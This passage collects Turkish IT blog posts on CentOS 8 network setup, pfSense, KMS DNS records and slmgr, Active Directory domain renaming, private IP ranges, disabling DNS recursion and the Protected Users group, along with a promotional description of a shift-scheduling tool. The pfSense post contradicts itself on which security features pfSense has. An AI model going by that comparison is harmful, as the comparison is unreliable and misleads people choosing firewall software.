content:test1:Sifre:1001:1001:/home/test1:/bin/bashtest2:Sifre:1002:1002:/home/test2:/bin/bashtest3:Sifre:1003:1003:/home/test3:/bin/bashtest4:Sifre:1004:1004:/home/test4:/bin/bashtest5:Sifre:1005:1005:/home/test5:/bin/bashView the last date users signed in:lastlog --- ## CentOS 8 Ağ Ayarları - CentOS 8 Network Configuration Link: https://farukguler.com/posts/centos-8-server-ag-ayarlari/ Öncelikle Sistemde bulunan tüm ağ cihazlarını listeleyelim. sudo nmcli d sudo nmcli con show DEVICE TYPE STATE CONNECTION ens160 ethernet connected ens160 lo loopback unmanaged -- İlk olarak, ağ yapılandırma dosyasını açın. Bu dosya bu dizinde "/etc/sysconfig/network-scripts/ifcfg-" ile başlar ve ardından ağ arayüzünüzün adını içerir. Örneğin, birincil ağ arayüzü "eth0" ise, dosya adı "/etc/sysconfig/network-scripts/ifcfg-eth0" olacaktır. Bu dosyayı düzenlemek için "vi" veya "nano" gibi bir metin düzenleyicisi kullanabilirsiniz. bendeki arayüzünüzün adı görüldüğü gibi "ens160" olarak görünüyor bu ismi DEVICE= kısmından değiştirebilirsiniz. sudo nano /etc/sysconfig/network-scripts/ifcfg-ens160 Ağ yapılandırma dosyasında, aşağıdaki satırları ekleyin veya var olanları düzenleyin: bendeki adaptörü: DEVICE=ens160 işlem sonunda yapılandırma dosyasını kaydedin ve düzenleyiciden çıkın. TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=none DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=eui64 NAME=ens160 UUID=77325761-b31e-4646-acb8-d4f74a6f4799 DEVICE=ens160 ONBOOT=yes IPADDR=10.5.10.58 PREFIX=24 GATEWAY=10.5.10.1 DNS1=10.5.10.10 DOMAIN=guler.com Burada, "DEVICE" satırında ağ arayüzünüzün adını belirtin. "BOOTPROTO" satırı, IP adresi için "static" veya "dhcp" seçeneklerinden birini içermelidir. Eğer statik bir IP kullanacaksanız, "IPADDR", "NETMASK" ve "GATEWAY" satırlarına doğru değerleri girin. "DNS1" ve "DNS2" satırları, DNS sunucularınızın IP adreslerini içermelidir. "ONBOOT" satırı, ağ arayüzünüzün her açılışta otomatik olarak etkinleştirilmesini sağlar. Bu değişikliklerin etkili olması için ağı şu komutla yeniden başlatmanız gerekir: sudo systemctl restart NetworkManager sudo systemctl start NetworkManager #sudo systemctl stop NetworkManager systemctl status NetworkManager CentOS 8'de GUI Kullanarak Ağ Ayarlarının Yapılandırılması Bu yöntem, nmtui (NetworkManager Text User Interface) adlı arayüzü kullanır ve ağ yapılandırmasını daha kullanıcı dostu bir şekilde yapmanızı sağlar. CentOS, Fedora ve RHEL gibi bazı Linux dağıtımlarında NetworkManager zaten varsayılan olarak yüklüdür ve NMTUI'yi kurmak için sadece aşağıdaki komutu çalıştırmanız yeterlidir sudo yum install NetworkManager-tui Ubuntu ve Debian gibi diğer Linux dağıtımlarında ise imdilik defaut olarak gelmiyor aşağıdaki komutu kullanarak NMTUI'yi yükleyebilirsiniz: sudo apt-get install network-manager sudo nmtui "Activate a connection" seçeneğini seçin ve "OK" düğmesine basın. Açılan listeden istedğiniz ağ arayüzünüzü seçin ve "OK" düğmesine basın. "Edit a connection" seçeneğini seçin ve "OK" düğmesine basın. Yeni açılan pencerede, aşağıdaki ağ ayarlarını yapılandırın: IPv4 CONFIGURATION: "Manual" seçeneğini seçin. IP ADDRESSES: Statik IP adresinizi ve netmask'ınızı girin. GATEWAY: Ağ geçidinizi girin. DNS: DNS sunucularınızın IP adreslerini girin. veya IPv6 CONFIGURATION: "Manual" seçeneğini seçin. IP ADDRESSES: Statik IP adresinizi ve netmask'ınızı girin. GATEWAY: Ağ geçidinizi girin. DNS: DNS sunucularınızın IP adreslerini girin. Ayarlarınızı kaydetmek için "OK" düğmesine basın ve ardından "Quit" düğmesine basarak nmtui'yi kapatın. Ağ bağlantınızı yeniden başlatmak için aşağıdaki komutu çalıştırın: sudo systemctl restart NetworkManager sudo systemctl start NetworkManager #sudo systemctl stop NetworkManager systemctl status NetworkManager Ağ bağlantınızı test etmek için "ping" komutunu kullanabilirsiniz. Örneğin, "ping farukguler.net" ping farukguler.net PING farukguler.net (192.0.78.24) 56(84) bytes of data. 64 bytes from 192.0.78.24 (192.0.78.24): icmp_seq=1 ttl=128 time=106 ms 64 bytes from 192.0.78.24 (192.0.78.24): icmp_seq=2 ttl=128 time=72.7 ms 64 bytes from 192.0.78.24 (192.0.78.24): icmp_seq=3 ttl=128 time=71.5 ms 64 bytes from 192.0.78.24 (192.0.78.24): icmp_seq=4 ttl=128 time=67.5 ms 64 bytes from 192.0.78.24 (192.0.78.24): icmp_seq=5 ttl=128 time=70.4 ms 64 bytes from 192.0.78.24 (192.0.78.24): icmp_seq=6 ttl=128 time=96.8 ms 64 bytes from 192.0.78.24 (192.0.78.24): icmp_seq=7 ttl=128 time=97.7 ms 64 bytes from 192.0.78.24 (192.0.78.24): icmp_seq=8 ttl=128 time=73.9 ms Görüldüğü üzere "ens160" ağ adaptörü sorunsuz çalışmakta, başka bir makalede görüşmek üzere. Best Regards. – Saygılarımla. --- ## Pfsense Nedir? - What is Pfsense? Link: https://farukguler.com/posts/pfsense-nedir-what-is-pfsense/ pfSense, FreeBSD tabanlı, açık kaynak kodlu bir güvenlik duvarı (firewall) ve yönlendirici (router) yazılımıdır. pfSense, çeşitli ağ güvenliği işlevlerini yerine getirmek için bir dizi özellik sunar ve ağ yöneticileri tarafından kullanılarak çeşitli ağ ihtiyaçlarını karşılayabilir. Bu yazılım, ticari bir güvenlik duvarı ya da ağ yönlendiricisi satın almanın maliyetli olabileceği küçük işletmeler, ev kullanıcıları ve kurumlar tarafından yaygın olarak kullanılır. pfSense, temel olarak bir web arayüzü üzerinden yapılandırılır. Bu arayüz, kullanıcıların güvenlik duvarı kurallarını ve yönlendirmeleri, VPN ayarlarını, port yönlendirmelerini, DHCP ve DNS yapılandırmalarını ve daha birçok özelliği ayarlamasına olanak tanır. Ayrıca, pfSense, SNORT, Squid, HAProxy gibi çeşitli eklentileri destekler ve kullanıcıların ihtiyaçlarına göre özelleştirilebilir. pfSense, ağ güvenliği sağlamak için bir dizi özellik sunar. Bunlar arasında stateful paket filtreleme, NAT yönlendirmesi, VPN desteği, IDS/IPS, DDOS koruması, URL filtreleme, anti-virüs ve anti-spam filtreleme, traffic shaping, VLAN desteği ve çoklu WAN desteği bulunur. pfSense, yüksek güvenilirlik sağlayacak şekilde tasarlanmıştır. pfSense kullanıcıları, yüksek erişilebilirlik için, yüksek kullanılabilirlik (HA) ve failover özelliklerini kullanabilirler. Bu, kullanıcıların birincil ağ bağlantıları kesildiğinde bile ağ trafiğini yönetebilmesini sağlar. pfSense, aynı zamanda çeşitli sertifikalarla doğrulama yapabilme, RADIUS, LDAP, Active Directory gibi kullanıcı yönetimi ve kimlik doğrulama protokolleri desteği sunar. Bu özellikler sayesinde, kurumsal kullanıcılar, yönetim ve kimlik doğrulama işlemlerini daha güvenli ve etkili bir şekilde yönetebilirler. Sonuç olarak, pfSense, güvenliği sağlamak, ağ trafiğini yönetmek, ağ yönetimini kolaylaştırmak ve ağın erişilebilirliğini ve güvenilirliğini artırmak için kullanılabilecek güçlü bir açık kaynaklı ağ güvenliği yazılımıdır. pfSense, birçok özelliği içeren kapsamlı bir ağ güvenlik duvarıdır. Bazı özellikleri şunlardır: Stateful Paket Filtreleme: pfSense, ağ trafiğinin kaynak ve hedef adresleri, port numaraları ve protokollerini izler ve doğrulayarak gelen paketlerin ağa erişip erişmeyeceğine karar verir. NAT Yönlendirmesi: pfSense, Network Address Translation (NAT) yönlendirmesini destekleyerek, iç ağa erişimi dış ağdan korur. VPN Desteği: pfSense, Virtual Private Network (VPN) desteği sağlar. VPN, uzak ağlara güvenli bir şekilde erişim sağlamak için kullanılır. pfSense, OpenVPN ve IPsec gibi farklı VPN protokollerini destekler. IDS/IPS: pfSense, Intrusion Detection/Prevention System (IDS/IPS) özelliklerini destekler. Bu özellikler sayesinde, ağınızda olası bir saldırı tespit edilirse, pfSense hızlı bir şekilde tepki verebilir. DDOS Koruması: pfSense, Distributed Denial of Service (DDoS) saldırılarına karşı koruma sağlar. URL Filtreleme: pfSense, URL filtreleme özellikleri sunarak, belirli web sitelerine erişimi engelleyebilir. Anti-Virüs ve Anti-Spam Filtreleme: pfSense, ağa giren ve çıkan e-postaları taramak için anti-virüs ve anti-spam filtreleme özellikleri sağlar. Traffic Shaping: pfSense, ağ trafiğini şekillendirmeye olanak tanır. Bu, ağın bant genişliğini yönetmeyi kolaylaştırır. VLAN Desteği: pfSense, VLAN desteği sunarak, farklı ağ segmentlerini izole edebilir. Çoklu WAN Desteği: pfSense, birden fazla WAN bağlantısını yönetebilir. Bu, yüksek erişilebilirlik ve yedekleme özellikleri sağlar. Aşağıdaki tabloda 2023 yılı için yine kendisi gibi bir Firewall olan Fortinet vs pfSense arasındaki ayrıntılı karşılaştırmayı görebilirsiniz: ÖzelliklerFortinetpfSenseLisans TürüTicariAçık KaynakKaynak KoduKapalıAçıkDonanım GereksinimleriKendi Donanımı GerekiyorKendi Donanımınızı KullanabilirsinizSatış Sonrası DestekVarVarMaliyetYüksekDüşükYönetimKarmaşıkKullanımı KolayMaliyetWeb TabanlıWeb TabanlıKurulumKolay DeğilKolayGüvenlikYüksekYüksekFirewall KurallarıVarVarNetwork Address Translation (NAT)VarVarVPNVarVarIPsecVarVarSSL VPNVarVarL2TP/IPsecVarVarIKEv2/IPsecVarVarOpenVPNVarVarIDS/IPSVarVarDDOS KorumasıVarYokAntivirüsVarYokAnti-spamVarYokURL FiltrelemeVarYokTraffic ShapingVarVarVLAN DesteğiVarVarMulti-WAN DesteğiVarVarDNS FiltrelemeVarVarProxy ServerVarYokDeep Packet Inspection (DPI)VarVarSSO (Single Sign-On)VarVarIPv6 DesteğiVarVarHigh AvailabilityVarVarLoad BalancingVarVarCaptive PortalVarVarDHCP ServerVarVarDHCP RelayVarVarDHCP ClientVarVarSNMPVarVarRADIUSVarVarTACACS+VarVarSyslogVarVarSNMPVarVarIP ReputationVarYokApplication ControlVarYokWeb FilteringVarYokEmail FilteringVarYokWireless LAN ControllerVarYokEndpoint SecurityVarYokCloud IntegrationVarYokSD-WANVarYokIoT SecurityVarYokIndustrial Control Systems (ICS) SecurityVarYokCompliance ManagementVarYok --- ## Register Key Management Service(KMS) Add In DNS Server Link: https://farukguler.com/posts/register-key-management-servicekms/ KMS, İşletmeler için Windows sunucularını ve istemcilerini etkinleştirmenin tercih edilen yoludur. Ancak, KMS sunucusunun kurulması yeterli değildir. KMS sunucusunun, ağdaki sunucuların ve istemcilerin KMS sunucusunu bulabilmesi ve Windows'u otomatik olarak etkinleştirebilmesi için DNS kaydı oluşturulması gereklidir. DNS kaydı, sunucuların ve istemcilerin KMS sunucusunu bulmasına ve iletişim kurmasına olanak tanır. KMS sunucusu kurulduğunda, DNS kaydının otomatik olarak oluşturulması gerekir. Ancak burada bilinmeyen bir nedenle silinmiş DNS Kaydının manuel olarak tekrar nasıl oluşturulabileceği anlatılmaktadır. Şimdi Powershell kullanarak KMS(Key Management Service) DNS kaydı oluşturalım: Add-DnsServerResourceRecord -Name "_vlmcs._tcp" -ZoneName "guler.com" -SRV -DomainName "kms-guler.com" -Priority 0 -Weight 0 -Port 1688 -ComputerName guler.com Bu PowerShell komutu, "Add-DnsServerResourceRecordSrv" cmdlet'ini kullanarak DNS sunucusuna bir SRV kaydı ekler. Bu SRV kaydı, "_vlmcs._tcp" adı altında oluşturulur. "_vlmcs._tcp" adı, KMS sunucusunun adresini ve iletişim portunu içerir ve Windows istemcilerinin KMS sunucusunu otomatik olarak bulmasına ve Windows'un otomatik olarak etkinleştirilmesine olanak tanır. bu portun ağınızda yasaklı olmadığına dikkat edin. yukarıdaki komutta, "kms-guler.com" alanını KMS sunucusunun adıyla değiştirmeniz gerekir. Aynı zamanda, "-Port 1688" parametresi, KMS sunucusu için iletişim portunu belirtir. "-Priority 0" ve "-Weight 0" parametreleri, öncelik ve ağırlık ayarlarını belirler. Bu değerlerin genellikle varsayılan olarak kalması önerilir. Son olarak, "-DomainName" parametresi guler.com etki alanını belirtir. Bu komut, "_vlmcs._tcp.guler.com" adında bir SRV kaydı oluşturur. Bu kayıt, Windows istemcilerinin KMS sunucusunu otomatik olarak bulmasına ve Windows'un otomatik olarak etkinleştirilmesine olanak tanır. ****SLMGR, Windows işletim sistemlerinde kullanılan bir komuttur ve Windows'un lisanslama işlemlerini yönetir. Aşağıda bazı SLMGR komutları ve açıklamaları vardır. slmgr /ipk <product key>: Bu komut, Windows işletim sisteminin bir ürün anahtarını değiştirmek için kullanılır. "product key" yerine, lisans anahtarınızı girin. slmgr /ato: Bu komut, Windows işletim sisteminizin lisansını etkinleştirmek için kullanılır. slmgr /xpr: Bu komut, Windows işletim sisteminizin etkinleştirilip etkinleştirilmediğini kontrol etmek için kullanılır. Bu komutu çalıştırarak, Windows'un etkinleştirilmiş olup olmadığını ve lisansın ne zaman sona ereceğini görüntüleyebilirsiniz. slmgr /dlv: Bu komut, Windows işletim sisteminizin lisanslama bilgilerini ayrıntılı olarak görüntülemek için kullanılır. slmgr /rearm: Bu komut, Windows'un lisans süresini uzatmak için kullanılır. Bu komutu kullanarak, Windows'un etkinleştirilmesini birkaç kez daha erteleyebilirsiniz. slmgr /cpky: Bu komut, Windows işletim sisteminin tüm lisans anahtarlarını kaldırmak için kullanılır. Bu komutu kullanarak, Windows'un mevcut lisans anahtarlarını kaldırabilir ve yeni bir lisans anahtarı girebilirsiniz. slmgr /upk: Bu komut, Windows işletim sisteminin mevcut lisans anahtarını kaldırmak için kullanılır. Bu komutu kullanarak, Windows'un mevcut lisans anahtarını kaldırabilirsiniz. slmgr /ckms: Bu komut, Windows işletim sistemindeki bilgisayarın KMS (Key Management Service) sunucusuna kayıt yapmış olduğu anahtar bilgisini kaldırmak için kullanılır. slmgr /skms <activation server>: Bu komut, Windows işletim sisteminin bir aktivasyon sunucusuna bağlanmasını sağlamak için kullanılır. "activation server" yerine, Windows'un bağlanması gereken aktivasyon sunucusunun adını veya IP adresini giriniz. - - - - - - Best Regards. - Saygılarımla. --- ## Ücretsiz Nöbet Hazırlama Programı (Mazeretli) Link: https://farukguler.com/posts/nobet-hazirlama-programi/ 📌 Program Hakkında Nöbet Hazırlama Programı (Mazeretli), sağlık çalışanları, güvenlik ekipleri ve nöbet sistemiyle çalışan kurumlar için geliştirilmiş yardımcı bir çözümdür. Program, nöbet dağıtımını adil ve otomatik şekilde yapmaya çalışır, mazeret yönetimi ve raporlama özellikleri sunar. Bilgisayarınıza kurmanıza gerek yoktur. İnternet erişimi olmayan bilgisayarlarda “html” olarak indirilip tarayıcı üzerinden kullanılabilir. Hiçbir şekilde verileriniz depolanmaz. (Proje açık kaynaklıdır.) Nöbet Hazırlama Programı Buradan veya APPBOX kısmından ulaşabilirsiniz! ✨ Temel Özellikler 📅 Akıllı Nöbet Planlama Esnek tarih aralığı seçimi Vardiya başına personel sayısı ayarlama Üst üste nöbet sınırlamaları Hafta sonu özel ayarları Rastgele Planlama 👥 Personel Yönetimi Personel ekleme/düzenleme/silme Mazeret günleri takvimi Nöbet istatistikleri takibi Excel’den içe/dışa aktarma 📊 Raporlama ve Analiz Otomatik nöbet çizelgesi oluşturma Excel’e tek tıkla aktarma Nöbet dağılım istatistikleri Ziyaretçi sayacı (günlük/aylık/yıllık) 🛠️ Teknik Özellikler Özellik Açıklama Platform Web Tabanlı (Tüm cihazlarda çalışır) Dil Türkçe/İngilizce Kurulum Gerektirmez - Tarayıcıda çalışır Veri Saklama Tarayıcı yerel depolama Uyumluluk Chrome, Firefox, Edge, Safari 🎯 Kullanım Senaryoları Hastaneler - Doktor ve hemşire nöbetleri Güvenlik Güçleri - Vardiya planlaması Fabrikalar - Üretim vardiyaları Okullar - Öğretmen nöbetleri 📥 Kurulum ve Kullanım Program kurulum gerektirmeyen web sürümü olarak kullanılır. Proje OpenSource olup lisans gerektirmez: Nöbet Hazırlama Programı Buradan veya APPBOX kısmından ulaşabilirsiniz! Adımları takip ederek nöbet programınızı oluşturun 📈 İstatistikler 500+ başarılı nöbet planlaması 98% kullanıcı memnuniyeti 3 dakikada nöbet çizelgesi oluşturma Açık kaynak (OpenSource) 🌟 Kullanıcı Yorumları “Excel entegrasyonu güzel, Nöbetleri excel olarak indirme ve yükleme imkanı var. Nöbet yazmak 3 dakika civarı.” Nurcan Kaya Metinoğlu, Okul Müdürü 📞 İletişim Geliştirme önerileriniz ve sorularınız için iletişime geçmekten çekineyin: 📧 https://farukguler.com/about © 2025 www.farukguler.com - Guler Open IT Platform --- ## Windows Server Active Directory Domain Rename Link: https://farukguler.com/posts/windows-server-active-directory-domain-rename/ Active Directory Domain Rename işlemi, Active Directory ortamındaki etki alanı adını değiştirmek için kullanılır. Bu işlem, etki alanı adını değiştirmenin gerekli olduğu durumlarda kullanılır, Active Directory Domain Rename işlemi, Active Directory ortamında yapısal değişikliklere neden olduğundan, doğru bir şekilde planlanmalı ve yürütülmelidir. Bu işlem, etki alanı adının değiştirilmesiyle birlikte, etki alanı denetleyicilerinin yeniden adlandırılması, DNS kayıtlarının güncellenmesi ve etki alanı adının kullanıldığı tüm hizmetlerin (Örneğin Exchange, SharePoint vb.) yeniden yapılandırılması gibi diğer adımları da içerir. Active Directory Domain Rename işlemi, Windows Server 2003 veya daha yeni sürümlerinde desteklenir ve yapılması gereken bir dizi hazırlık adımı ve güvenlik denetimi vardır. Bu nedenle, bu işlemi gerçekleştirmeden önce, Microsoft tarafından sağlanan resmi belgeleri incelemeniz ve bu işlemi gerçekleştirmek için uygun bir plan hazırlamanız, kesinti ve hizmet aksamalarına hazırlıklı olmanız çok önemlidir. Genel olarak aşağıdaki nedenlerden dolayı yapılır: Kurumsal yeniden yapılandırma: Şirketlerin yapısında zaman içinde değişiklikler olabilir ve bu nedenle etki alanı adının değiştirilmesi gerekebilir. Örneğin, bir şirket, başka bir şirketi satın aldığında veya bir bölümünü ayırdığında, etki alanı adını değiştirmesi gerekebilir. Kurumsal kimlik değişikliği: Kuruluşların isimleri, markaları veya kimlikleri zamanla değişebilir. Bu durumda, etki alanı adı da değiştirilebilir. Mergers and Acquisitions: Şirketlerin birleşmesi veya satın alınması durumunda, farklı etki alanları birleştirilebilir veya bir etki alanı adı diğerine değiştirilebilir. Peki bu işlemi Nasıl yapacağız? ****Etki Alanınızda Exchange mevcutsa AD etki alanı adını kesinlikle DEĞİŞTİRMEYİNİZ! (Exchange Server 2003 hariç) ****Bir etki alanını yeniden adlandırmak için Windows Server 2003 veya daha yenisine ihtiyacınız vardır. ***** İşlem öncesi kesinlikle Etki alanı denetleyicilerinizin güncel bir yedeğini & Snapshot almanız gerekmektedir. Öncelikle mevcut etki alanı denetleyicilerinizde yeni etki alanınız için bir DNS bölgesi oluşturun. Bunu yapmak için , DNS Manager'i açın Forward Lookup Zone üzerinden yeni bir zone oluşturun ve bunu eski guler.com etki alanınızdaki tüm DNS sunucularında replike edin. TÜM DNS Serverlerde replike olana kadar bekleyin. PowerShell'i kullanarak yeni bir DNS Zone oluşturalım: Add-DnsServerPrimaryZone -Name gulmez.net -ReplicationScope "Domain" –PassThru #PS C:\Users\Administrator> Add-DnsServerPrimaryZone -Name gulmez.net -ReplicationScope "domain" –PassThru #ZoneName ZoneType IsAutoCreated IsDsIntegrated IsReverseLookupZone IsSigned -------------- ------- -------- ------------- -------------- ------------------- -------- --------- ------------- -------------- gulmez.net Primary False True False False PS C:\Users\Administrator> ****Yeni oluşturulan gulmez.net DNS Zone'nin tüm DNS 'lerde replike olana kadar bekleyin. Geçerli AD üzerinde bir Domainlist.xml ***rendom /list dosyası oluşturmak için: rendom /list Get-Content .\Domainlist.xml #Bu XLM dosyası "C:\Users\Administrator\Domainlist.xml" yoluna export edilecektir. Domainlist.xml dosyasını açın ve yeni domain ismine göre editleyin ve kaydedin: Ardından Bu, mevcut Domainin yapılandırmasını ayrıntılı olarak gösteren bir çıktı sağlayacağız. Bu Powershell komutunu çalıştırıyoruz: rendom /showforest Buna müteakip , AD bölümlerinin yeni yapılandırmasıyla birlikte yeni Domainlist.xml'yi Etki Alanı adlandırma yöneticisi FSMO rolüne sahip etki alanı denetleyicisine yükleyeceğiz: rendom /upload #PS C:\Users\Administrator> rendom /upload The operation completed successfully. PS C:\Users\Administrator> #Görüldüğü üzere yeni XML dosyamız yüklendi. netdom query fsmo #FSMO rollerini sorgulayalım. hala eski isimleriyle göreceksiniz. Ortamdaki tüm Domain Controller sunucuların, kullanılabilirliğini doğrulayalım ve herhangi bir hata döndürmediğinden emin olalım: rendom /prepare #PS C:\Users\Administrator> rendom /prepare Waiting for DCs to reply. Waiting for DCs to reply. ANATOLIA.guler.com was prepared successfully 1 server contacted, 0 servers returned Errors The operation completed successfully. PS C:\Users\Administrator> ***Artık etki alanını yeniden adlandıracaktır. (yeni ayarların uygulanması için otomatik olarak yeniden başlatılacak): rendom /execute Sunucumuz yeniden başlatıldı, yeni domain name ile login olmalısınız. login sonrası bunu Whoami ile doğrulayabilirsiniz. Whoami PS C:\Users\Administrator> whoami gulmez\administrator PS C:\Users\Administrator> İşlem sonrası GPO Managere girerseniz açılamadığını ve hala eski alan adını aradığını göreceksiniz. bunu Powershell yardımı ile düzeltebilirsiniz. gpfixup /olddns:guler.com /newdns:gulmez.net PS C:\Users\Administrator> gpfixup /olddns:guler.com /newdns:gulmez.net Start fixing group policy (GroupPolicyContainer) objects: Start fixing site group policy links: Start fixing non-site group policy links:Group Policy fix up utility Version 1.1 (Microsoft) ----------------------------------- gpfixup tool executed with success. PS C:\Users\Administrator> Ardından NetBIOS etki alanı adını da güncelleyip restart etmemiz gerekiyor: gpfixup /oldnb:DCCompName /newnb:GULMEZ PS C:\Users\Administrator> gpfixup /oldnb:DCCompName /newnb:GULMEZ Start fixing group policy (GroupPolicyContainer) objects:Group Policy fix up utility Version 1.1 (Microsoft) ............ gpfixup tool executed with success. PS C:\Users\Administrator Ardından, her bir DC'yi manuel olarak kendi yapınıza göre yeniden adlandırın ve bunları birincil adlar yapın: Devamında ise sunucuyu restart ediniz. netdom computername compname.guler.com /add:compname.gulmez.net netdom computername compname.guler.com /makeprimary:compname.gulmez.net #Restart-Computer -Force Aşağıdaki komut, eski etki alanınıza olan bağlantıları "DomainSid" adı verilen bir (geçici nesneyi) DC üzerinden 'den kaldıracaktır: rendom /clean Aşağıdaki komut, yapılandırma sırasında durdurduğumuz işlemleri devreye alarak yapılandırma kilidini açmamızı sağlayacaktır: rendom /end #Etki alanı bilgilerimizi kontrol delim Get-ADDomain gulmez.net ****Görüldüğü gibi Etki alanınızı yeniden adlandırma işlemi başarı ile tamamlandı ve DNS Manager ve Powershell üzerinde teyit edildi, Son olarak DC' replikasyon durumunu ve DC'lerdeki hataları kontrol edin. (Örnek: CA, Failover Clusters, vb.) Saygılarımla – Best Regards --- ## Private ip adresleri hakkında Link: https://farukguler.com/posts/private-ip-address/ Özel IP adresleri, bir yerel ağda (LAN) bulunan cihazların birbirleriyle iletişim kurmak için kullandıkları adreslerdir. ****Özel IP adresleri, internet üzerindeki cihazlara atanabilen genel IP adreslerinden farklıdır ve sadece yerel ağdaki cihazlar arasında kullanılır. Özel IP adresleri, Internet Assigned Numbers Authority (IANA) tarafından belirlenen özel IP adres aralıkları içinde bulunur. Bu aralıklar şunlardır: 10.0.0.0 - 10.255.255.255 (10.0.0.0/8) 172.16.0.0 - 172.31.255.255 (172.16.0.0/12) 192.168.0.0 - 192.168.255.255 (192.168.0.0/16) Bir özel IP adresi, özel IP adres aralıklarından biri içinde yer alır ve bu adreslerin internet üzerinde benzersiz olmasına gerek yoktur. Bu nedenle, bir özel IP adresi birden fazla yerel ağda kullanılabilir. ****Özel IP adresleri, NAT (Network Address Translation) gibi teknolojilerle genel IP adreslerine dönüştürülerek internete bağlanabilirler. Bu sayede, bir yerel ağdaki cihazlar internete tek bir IP adresi üzerinden erişebilirler. Özel IP adresleri, IP adreslerinin tükenmesini önlemek için oluşturulmuşlardır ve bir yerel ağdaki cihazların iletişimini kolaylaştırırlar. --- ## DNS Recursion Nedir-Nasıl Kapatılır? Link: https://farukguler.com/posts/dns-recursion/ DNS rekürsif sorgulama (recursion), bir DNS sunucusunun, bir istemcinin DNS sorgusunu yanıtlayabilmek için, diğer DNS sunucularına yönelik sorgular yapmasıdır. Bu işlem, DNS sunucusunun, istemciye hızlı ve doğru bir yanıt sağlaması için gereklidir. Ancak, DNS rekürsif sorgulama özelliği, DNS sunucusunu potansiyel saldırılara açık hale getirebilir. Bu nedenle, bazı durumlarda DNS rekürsif sorgulama özelliği kapatılması gerekebilir. Windows için DNS Recursion Kapatma DNS Yöneticisi aracını açın: Başlat menüsünden "DNS Yöneticisi" aracını açın. DNS sunucusunu seçin: DNS sunucunuzu seçin ve "Properties" özelliklerine tıklayın. "Advanced" sekmesini seçin: "Advanced" sekmesine tıklayarak, DNS sunucu ayarlarını görüntüleyin. "Disable recursion (also disables forwarders)" seçeneğini işaretleyin: "Advanced" sekmesinde, "Disable recursion (also disables forwarders)" seçeneğini işaretleyin. Kapatma işleminden sonra DNS servisini restart etmeniz gerekir.  Linux için DNS Recursion Kapatma BIND (Berkeley Internet Name Domain) açık kaynaklı bir DNS sunucusu yazılımıdır. DNS rekürsif sorgulama özelliğini yönetmek ve devre dışı bırakmak için kullanılabilir. Linux'ta DNS sunucunuz "named" adlı servis tarafından yönetilir. DNS sunucunuzun yapılandırma dosyası olan named.conf dosyasını açın. Bu dosya genellikle /etc/bind/ dizini altında bulunur. Aşağıdaki komutu kullanarak named.conf dosyasını açabilirsiniz sudo nano /etc/bind/named.conf "options" bölümünde "recursion no;" satırını ekleyin: named.conf dosyasındaki "options" bölümüne aşağıdaki satırı ekleyin options { directory "/var/cache/bind"; // Allow recursion only to trusted clients // recursion yes; recursion no; // If there is a firewall between you and nameservers you want // to talk to, you may need to fix the firewall to allow multiple // ports to talk. See http://www.kb.cert.org/vuls/id/800113 // If your ISP provided one or more IP addresses for stable // nameservers, you probably want to use them as forwarders. // Uncomment the following block, and insert the addresses replacing // the all-0's placeholder. // forwarders { // 0.0.0.0; // }; // ...} named.conf dosyasındaki değişiklikleri kaydedin ve named servisini yeniden başlatın. Ayrıca sonucu NMAP ile test edebilirsiniz. sudo systemctl restart named sudo systemctl restart bind9 Ancak, unutmayın ki DNS rekürsif sorgulama özelliği, DNS sunucunuzun doğru çalışması için gereklidir. Bu nedenle, bu özelliği devre dışı bırakırken, doğru yapılandırmayı sağlamak için DNS sunucunuzun diğer özelliklerini de gözden geçirmeniz gerekebilir. Son olarak, belirli bir DNS sunucusu üzerinde rekürsif sorgulamayı devre dışı bırakmak, genellikle bir ağda bulunan tüm cihazlar için geçerli değildir. Diğer DNS sunucuları üzerinden hala rekürsif sorgulama yapılabilir. Bu nedenle, ağınızdaki tüm DNS sunucularında bu ayarı yapmanız gerekmektedir. --- ## Active Directory “Protected Users” Güvenlik Grubu Nedir? Link: https://farukguler.com/posts/active-directory-protected-users/ Active Directory "Protected Users" güvenlik grubu, Windows Server 2012 R2 ve sonraki sürümlerde mevcut olan özel bir kullanıcı güvenlik grubudur. Bu güvenlik grubu, yüksek riskli hesapları korumak için tasarlanmıştır ve bazı özellikleri kısıtlar. Bu özellikler şunlardır: NTLM kimlik doğrulamasını engeller: NTLM, eski bir kimlik doğrulama protokolüdür ve şifreleme düzeyi düşüktür. "Protected Users" grubuna dahil olan hesaplar, NTLM kullanarak kimlik doğrulaması yapamazlar. Des şifreleme çözümlerini engeller: DES, Windows Server 2003 ve öncesinde kullanılan bir şifreleme algoritmasıdır ve güvenli değildir. "Protected Users" grubuna dahil olan hesaplar, DES şifreleme çözümlerini kullanarak veri şifrelemesi yapamazlar. Kullanıcı hesaplarına yönelik bazı atakları engeller: "Protected Users" grubuna dahil olan hesaplar, birçok kullanıcı hesabıyla yapılan atakların hedefi olmazlar. Örneğin, bu hesaplar, parola çalma, hesap taklit etme ve pasif dinleme gibi ataklara karşı daha korunaklıdır. Kerberos bileşenlerini günceller: Kerberos, Windows Active Directory'de kullanılan bir kimlik doğrulama protokolüdür. "Protected Users" grubuna dahil olan hesaplar, Kerberos bileşenlerini otomatik olarak güncelleyerek daha güvenli bir kimlik doğrulama süreci sağlar. Özetle, "Protected Users" grubuna dahil olan hesaplar, daha güçlü bir kimlik doğrulama süreci sağlar ve yüksek riskli hesapları korur. Active Directory "Protected Users" grubuna dahil olan hesaplar için etkinleştirilen korumalar aşağıdaki gibidir: NTLM kimlik doğrulaması engellenir: "Protected Users" grubuna dahil olan hesaplar, NTLM kullanarak kimlik doğrulaması yapamazlar. NTLM, eski bir kimlik doğrulama protokolüdür ve şifreleme düzeyi düşüktür. Bu koruma, daha güçlü bir kimlik doğrulama süreci sağlar. Kerberos bileşenleri otomatik olarak güncellenir: "Protected Users" grubuna dahil olan hesaplar, Kerberos bileşenlerini otomatik olarak günceller ve daha güvenli bir kimlik doğrulama süreci sağlar. DES ve RC4 şifreleme çözümleri engellenir: "Protected Users"" grubuna dahil olan hesaplar, DES ve RC4 şifreleme çözümlerini kullanarak veri şifrelemesi yapamazlar. Bu şifreleme yöntemleri, güvenli değildir ve korumalı kullanıcılar grubu, daha güçlü bir şifreleme yöntemi olan AES'i kullanır. Hesap taklit etme saldırıları engellenir: "Protected Users" grubuna dahil olan hesaplar, hesap taklit etme saldırılarına karşı daha korunaklı hale gelir. Bu koruma, hesapların çalınmasını veya taklit edilmesini zorlaştırır. 